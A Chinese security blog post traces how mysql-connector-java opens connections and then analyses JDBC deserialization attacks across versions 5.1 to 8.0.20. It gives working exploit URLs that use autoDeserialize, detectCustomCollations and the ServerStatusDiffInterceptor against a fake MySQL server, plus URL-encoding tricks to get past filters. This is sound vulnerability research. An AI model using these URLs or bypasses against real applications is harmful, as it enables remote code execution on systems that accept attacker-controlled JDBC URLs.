概念

Java Database Connetivity,Java数据库连接,是Java提供对数据库进行连接、操作的标准API。

相关类和接口

  • java.sql.DriverManager

    Java通过java.sql.DriverManager来管理所用数据库的驱动注册,提供getConnection方法来连接数据库

  • java.sql.Driver

    负责实现对数据库的连接,所以数据库驱动包都必须实现这个接口才能完成数据库连接操作

  • jva.sql.Connection

    通过java.sql.DriverManager.getConnection方法成功连接数据库后,会返回一个java.sql.Connection数据库连接对象,一切对数据库的查询操作都将依赖于这个对象

JDBC Demo

先开启mysql环境

JDBC连接数据库的一般步骤:

  • 注册驱动
  • 获取连接

先添加依赖:

1
2
3
4
5
<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>5.1.28</version>
</dependency>

Demo:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
package JDBC;

import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.ResultSet;
import java.sql.Statement;

public class test {
public static void main(String[] args) throws Exception {
String CLASS_NAME = "com.mysql.jdbc.Driver";
String URL = "jdbc:mysql://localhost:3306/dvwa";
String USERNAME = "root";
String PASSWORD = "123456";

Class.forName(CLASS_NAME);// 注册驱动类
Connection connection = DriverManager.getConnection(URL, USERNAME, PASSWORD);

//简单查询
Statement statement = connection.createStatement();
statement.execute("select * from users");
ResultSet set = statement.getResultSet();
while (set.next()) {
System.out.println(set.getString(2));
}

statement.close();
connection.close();
}
}

其中jdbc:mysql://表示要连接的数据库类型mysql,localhost:3306为mysql服务地址,dvwa为数据库名。简单查询中2表示查询的列索引,即第2列

image-20250721171513927

image-20250721171455259

SPI机制

Service Provider Interface,是JDK内置的一种服务提供发现机制,可以用来启动框架扩展和替换组建。服务提供接口,不同厂商可以针对同一个接口做出不同的实现。当服务提供者提供了一种接口的实现之后,需要在classpath下的META-INF/services/目录下创建一个以服务接口命名的文件,文件内容就是这个接口的具体实现类,当程序需要这个服务时,就可以通过查找这个jar包的META-INF/services/中的配置文件,配置文件中有接口的具体实现类名,可以根据这个类名进行加载实例化。

源码分析

环境:mysql-connector-java 5.1.28

加载驱动

1
2
String CLASS_NAME = "com.mysql.jdbc.Driver";
Class.forName(CLASS_NAME);

也可以写成:

1
DriverManager.registerDirver(new Driver());

下面我们跟下代码看下究竟怎么实现的

当JVM加载com.mysql.jdbc.Driver类到内存中时会自动触发其静态初始代码块:

image-20250722095938767

调用java.sql.DriverManager.registerDriver(new Driver());方法来注册驱动,要注册的驱动即是com.mysql.jdbc.Driver对象:
image-20250722100354401

调用另一个重载方法registerDriver:

image-20250722100446929

方法中实例化了一个DriverInfo对象用来存放驱动类信息。

registeredDrivers是DriverManager对象的一个变量,通过addIfAbsent方法,将DriverInfo对象信息存放进registeredDrivers变量中

获取连接

1
2
3
4
5
String URL = "jdbc:mysql://localhost:3306/dvwa";
String USERNAME = "root";
String PASSWORD = "123456";

Connection connection = DriverManager.getConnection(URL, USERNAME, PASSWORD);

跟进getConnection方法:

image-20250722100813489

其中Reflection.getCallerClass()用于获取调用者的类,即在运行时确定正在调用该方法的类的名称,返回一个Class对象,比如我这里是JDBC.test

跟进getConnection重载方法:

image-20250722101324169

先获取类加载器

image-20250722101544077

遍历registeredDrivers变量的值,里面存放着我们注册过的驱动,随即通过DriverInfo对象获取对应驱动

然后就是通过获取的驱动,调用其connet方法进行连接,由于驱动com.mysql.jdbc.Driver没有该方法,所以调用父类NonRegisteringDriver.connect方法:

image-20250722102826264

先对 URL 前缀进行判断,判断成功直接路由到专用方法

再通过parseURL()将 URL 和 info 合并解析为统一的 Properties 对象:

image-20250722103120132

NUM_HOSTS_PROPERTY_KEY表示 URL 中配置的主机数量,如果主机数大于1就调用connectFailover处理故障转移场景

最后调用com.mysql.jdbc.ConnectionImpl.getInstance方法获取连接:

image-20250722103621450

这部分逻辑就是判断JDBC版本是否在4以上,JDBC4以上调用Util.handleNewInstance通过反射动态创建增强版连接对象,JDBC_4_CONNECTION_CTOR静态常量指向com.mysql.jdbc.JDBC4Connection 的构造函数,最后返回Connection对象:

image-20250722104231643

handleNewInstance用于反射实例化

相当于调用JDBC4Connection.newInstance(args),传入参数为创建连接的信息如主机名端口等等:

image-20250722104500314

会调用父类ConnetionImpl的构造方法:

image-20250722104830188

获取主机名,端口,数据库名等信息

image-20250722105701507

这段代码用于创建连接,this.dbmd = getMetaData(false, false);初始化数据库元数据对象。initializeSafeStatementInterceptors();初始化”安全模式”下的SQL拦截器,createNewIO(false);用于建立物理数据库连接,unSafeStatementInterceptors();启用常规SQL拦截器

跟进createNewIO(false);

image-20250722110033648

先获取连接信息,然后调用connectOneTryOnly(isForReconnect, mergedProps);方法:

image-20250906230512011

coreConnect(mergedProps);执行底层 TCP 握手 + MySQL 协议认证,即建立连接

image-20250722110822598

将用户配置的 Statement 拦截器绑定到底层 IO 层

就是在建立TCP连接后对数据库会话进行“上下文初始化 和 状态恢复”并设置拦截器、读取服务器配置等作用

回到Connectionlmpl方法:

image-20250722111606345

最后将新创建的连接对象注册到驱动的跟踪系统中并进行资源管理

扩展参数带来的安全问题

mysql JDBC中包含一个危险的扩展参数:autoDeserialize。这个参数配置为true时,JDBC客户端会自动反序列化返回的BLOB类型字段,BLOB为二进制形式的长文本数据

image-20250722114351016

JDBC反序列化

由于后续mysql-connector-java会用到多个不同版本,所以依赖设置为:

1
2
3
4
5
6
7
8
9
10
11
<properties>
<mysql.version>5.1.28</mysql.version>
</properties>

<dependencies>
<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>${mysql.version}</version>
</dependency>
</dependencies>

当需要切换版本时终端输入:

1
mvn clean install "-Dmysql.version=版本号"

查看版本:

1
mvn dependency:tree | findstr "mysql-connector-java"

datectCustomCollations链分析

mysql-connector-java 5.1.19~5.1.28

环境:mysql-connector-java 5.1.28

在前面分析代码时我们提到在进行数据库连接时使用了createNewIO(false);方法:

image-20250722114442194

跟进后发现调用了connectOneTryOnly(isForReconnect, mergedProps);方法:

image-20250722114600819

connectOneTryOnly方法中coreConnect(mergedProps);用于建立连接,会调用initializePropsFromServer方法,initializePropsFromServer方法内又会调用buildCollationMapping方法:

image-20250722114835959

buildCollationMapping方法中,stmt通过getMetadataSafeStatement()方法获取当前环境的StatementImpl对象,然后通过executeQuery方法执行SQL语句

然后执行Util.resultSetToMap方法,versionMeetsMinimum方法用于判断驱动版本:
image-20250722141728865

在Util.resultSetToMap方法中会将SHOW COLLATION查询结果的第三列和第二列的值存放进mappedValues

还会调用ResultSetImpl对象的getObject方法,对应反序列化位置,需要字段类型为blob:
image-20250722142717770

当字段为BLOB类型且扩展参数autoDeserialize为true,且SHOW COLLATION的返回结果需要有三个字段,就会从MySQL服务端中获取对应的字节码数据,且需要字段2或3为BLOB装载我们的序列化数据,那么在返回数据时就会触发反序列化造成攻击

这里使用4ra1n师傅做的mysql-fake-server项目来进行复现:

image-20250722153610046

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package JDBC;

import java.sql.Connection;
import java.sql.DriverManager;

public class test {
public static void main(String[] args) throws Exception {
String CLASS_NAME = "com.mysql.jdbc.Driver";
String URL = "jdbc:mysql://127.0.0.1:65432/test?autoDeserialize=true&user=base64ZGVzZXJfQ0MzMV9jYWxjLmV4ZQ==";

Class.forName(CLASS_NAME);// 注册驱动类
Connection connection = DriverManager.getConnection(URL);
}
}

image-20250722153845991

mysql-connector-java 5.1.29~5.1.40

环境:mysql-connector-java 5.1.29

改进部分在于com.mysql.jdbc.ConnectionImpl#buildCollationMapping方法:

image-20250722155444248

不仅需要驱动版本大于4.1.0,还添加了新的要求:

image-20250722155546666

getDetectCustomCollations方法返回扩展参数detectCustomCollations的值,若没设置,默认为false

只需要新添加扩展参数detectCustomCollations=true即可,这样才能进入Util.resultSetToMap方法调用getObject触发反序列化

image-20250722155727239

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package JDBC;

import java.sql.Connection;
import java.sql.DriverManager;

public class test {
public static void main(String[] args) throws Exception {
String CLASS_NAME = "com.mysql.jdbc.Driver";
String URL = "jdbc:mysql://127.0.0.1:65432/test?detectCustomCollations=true&autoDeserialize=true&user=base64ZGVzZXJfQ0MzMV9jYWxjLmV4ZQ==";

Class.forName(CLASS_NAME);// 注册驱动类
Connection connection = DriverManager.getConnection(URL);
}
}

image-20250722155825213

mysql-connector-java 5.1.41~5.1.48

环境:mysql-connector-java 5.1.41

依旧看改进的部分,定位到com.mysql.jdbc.ConnectionImpl#buildCollationMapping方法:

image-20250722163642145

新加了customCharset变量需要为null,其默认为null,所以不用管

image-20250722163824449

这里没有调用Util.resultSetToMap方法,而是改用直接调用results.getObject(3),还是会调用getObject方法,不影响利用

但从mysql-connector-java 5.1.49以后,就不再调用results.getObject方法,该调用链就无效了

mysql-connector-java 6.0.2~6.0.6

环境:mysql-connector-java 6.0.6

该版本采用com.mysql.cj.jdbc.Driver作为驱动类,所以定位到com.mysql.cj.jdbc.Driver.ConnectionImpl#buildCollationMapping方法:

image-20250722170956098

indexToCharset默认为null不用管,同时需要detectCustomCollations为ture

image-20250722171133867

调用了ResultSetUtil.resultSetToMap方法:
image-20250722171227339

同样调用了getObject方法

image-20250722171502758

这里需要字段类型为BIT类型,后面的调用就类似的,所以利用链不影响

image-20250722171728373

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package JDBC;

import java.sql.Connection;
import java.sql.DriverManager;

public class test {
public static void main(String[] args) throws Exception {
String CLASS_NAME = "com.mysql.cj.jdbc.Driver";
String URL = "jdbc:mysql://127.0.0.1:65432/test?detectCustomCollations=true&autoDeserialize=true&user=base64ZGVzZXJfQ0MzMV9jYWxjLmV4ZQ==";

Class.forName(CLASS_NAME);// 注册驱动类
Connection connection = DriverManager.getConnection(URL);
}
}

image-20250722171832836

ServerStatusDiffInterceptor链分析

mysql-connector-java 5.1.0~5.1.10

环境:mysql-connector-java 5.1.1

在较低的mysql-connector-java版本下是不能利用datectCustomCollations链的:
image-20250722174109110

所以这时就可以利用ServerStatusDiffInterceptor链

利用条件:需要连接后进行查询

1
2
3
String sql = "select database()";
PreparedStatement ps = connection.prepareStatement(sql);
ResultSet resultSet = ps.executeQuery();

或者

1
2
Statement statement = connection.createStatement();
statement.execute("select database()");

是在查询时触发反序列化,而前者是获取结果处触发

执行完查询后,重点在获取结果位置,跟进executeQuery方法:
image-20250723093120157

locallyScopedConn.useMaxRows方法默认返回false,会调用executeInternal方法:
image-20250723094229853

利用当前连接对象调用execSQL方法,即ConnectImpl#execSQL:

image-20250723094516529

接着执行sqlQueryDirect方法:
image-20250723094707543

statementInterceptors不为null时调用invokeStatementInterceptorsPre方法:

image-20250723094953091

这里对statementInterceptors进行遍历,但默认状态下statementInterceptors为0,所以需要找个方法控制它的值

MysqlIO类提供initializeStatementInterceptors方法来初始化StatementInterceptors:

image-20250723101116921

而在ConnectionImpl类构造方法中,在执行createNewIO方法时实例化了MysqlIO对象:
image-20250723100818122

最后又刚好触发了MysqlIO对象这个方法:

image-20250723101134394

而ConnectionImpl类下的StatementInterceptors可以通过添加扩展参数设置

这个参数首先必须实现com.mysql.jdbc.StatementInterceptor接口,这里选用com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor这个类,那么在invokeStatementInterceptorsPre方法中,会调用ServerStatusDiffInterceptor#preProcess方法:
image-20250723101410495

驱动版本必须大于5.0.2,然后调用populateMapWithSessionStatusValues方法:

image-20250723101459699

执行Util.resultSetToMap方法:

image-20250723101529808

只需要SHOW SESSION STATUS语句返回的字段1或2的类型为blob,且内容为恶意的序列化数据即可

image-20250723101652041

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
package JDBC;

import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.PreparedStatement;
import java.sql.ResultSet;

public class test {
public static void main(String[] args) throws Exception {
String CLASS_NAME = "com.mysql.jdbc.Driver";
String URL = "jdbc:mysql://127.0.0.1:65432/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=base64ZGVzZXJfQ0MzMV9jYWxjLmV4ZQ==";

Class.forName(CLASS_NAME);// 注册驱动类
Connection connection = DriverManager.getConnection(URL);

String sql = "select database()";
PreparedStatement ps = connection.prepareStatement(sql);
ResultSet resultSet = ps.executeQuery();
}
}

image-20250723101744004

mysql-connector-java 5.1.11~5.x.xx

环境:mysql-connector-java 5.1.29

定位到ConnectImpl#initializePropsFromServer方法:

image-20250723105412519

跟进loadServerVariables方法:

image-20250723105504257

执行executeQuery方法,跟进:

image-20250723105734883

调用execSQL方法,后面的流程就一样了。

mysql-connector-java 6.x

和mysql-connector-java 5.1.11~5.x.xx分析流程是一样的,只不过包名换成了com.mysql.cj.jdbc.Driver

mysql-connector-java 8.0.7~8.0.20

环境:mysql-connector-java 8.0.12

定位到ConnectionImpl#initializePropsFromServer方法,可以看到已经不是调用当前对象的loadServerVariables和buildCollationMapping方法

image-20250724091709925

但其中调用了handleAutoCommitDefaults方法可以利用:

image-20250724091906390

image-20250724092053004

resetAutoCommitDefault会被赋值为true然后调用setAutoCommit方法:

image-20250724092911280

needsSetOnServer赋值为true,会调用execSQL方法,跟进:

image-20250724093119610

跟上面不同,调用的对象不同了,这里要利用的是sendQueryString方法:

image-20250724093337710

调用sendQueryPacket方法:
image-20250724093432750

跟上面的invokeStatementInterceptorsPre很像,跟进invokeQueryInterceptorsPre方法看看

但前提是queryInterceptors不为null

这里可以通过ConnectionImpl#connectOneTryOnly方法控制,当调用ConnectionImpl构造方法时会调用createNewIO从而调用connectOneTryOnly方法:

image-20250724093824929

image-20250724093833218

image-20250724093850759

同样可以通过扩展参数设置

进入invokeQueryInterceptorsPre方法:

image-20250724094107909

逻辑跟之前版本差不多,调用了preProcess,设置queryInterceptors为com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor,跟进ServerStatusDiffInterceptor#preProcess方法:
image-20250724094348350

跟进populateMapWithSessionStatusValues方法:

image-20250724094419648

执行ResultSetUtil.resultSetToMap方法:

image-20250724094711507

最后执行了getObject方法

image-20250724101550740

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
package JDBC;

import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.Statement;

public class test {
public static void main(String[] args) throws Exception {
String CLASS_NAME = "com.mysql.cj.jdbc.Driver";
String URL = "jdbc:mysql://127.0.0.1:65432/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=base64ZGVzZXJfQ0MzMV9jYWxjLmV4ZQ==";

Class.forName(CLASS_NAME);// 注册驱动类
Connection connection = DriverManager.getConnection(URL);

Statement statement = connection.createStatement();
statement.execute("select database()");
}
}

image-20250724101527921

mysql-connector-java 8.0.20以后

populateMapWithSessionStatusValues方法下不再调用ResultSetUtil.resultSetToMap方法,也不直接调用getObject方法:
image-20250724095946826

bypass

环境:mysql-connector-java 8.0.12

Urlencode绕过

协议头Urlencode

逻辑位于com.mysql.cj.conf.ConnetionUrlParser#isConnetionStringSupported方法:

image-20250724101712809

其中会对匹配部分进行一次decode方法处理,也就是一次Urldecode处理:

image-20250724101836213

path部分Urlencode

辑位于com.mysql.cj.conf.ConnectionUrlParser#parseConnectionString方法:

image-20250724101951057

path部分也进行了一次decode方法处理,此外还进行了trim方法处理,但方法不能去除字符串中间的空白字符,所以只能进行Urlencode绕过

扩展参数Urlencode

在实例化SingleConnectionUrl对象时,会触发父类构造方法:
image-20250724102158129

调用collectProperties方法:

image-20250724102320789

跟进getProperties方法,一直调用到parseQuerySection方法:

image-20250724102415433

方法判断URL是否存在扩展参数,存在则调用processKeyValuePattern方法:

image-20250724102504053

分离key和value,然后进行一次Urldecode,同样可以进行Urlencode编码

扩展参数Value绕过

由于com.mysql.cj.conf.BooleanPropertyDefinition的AllowableValue枚举类:

image-20250724102749419

所以设置TRUE和设置YES是一样的

image-20250724102815701

解析时还会转大写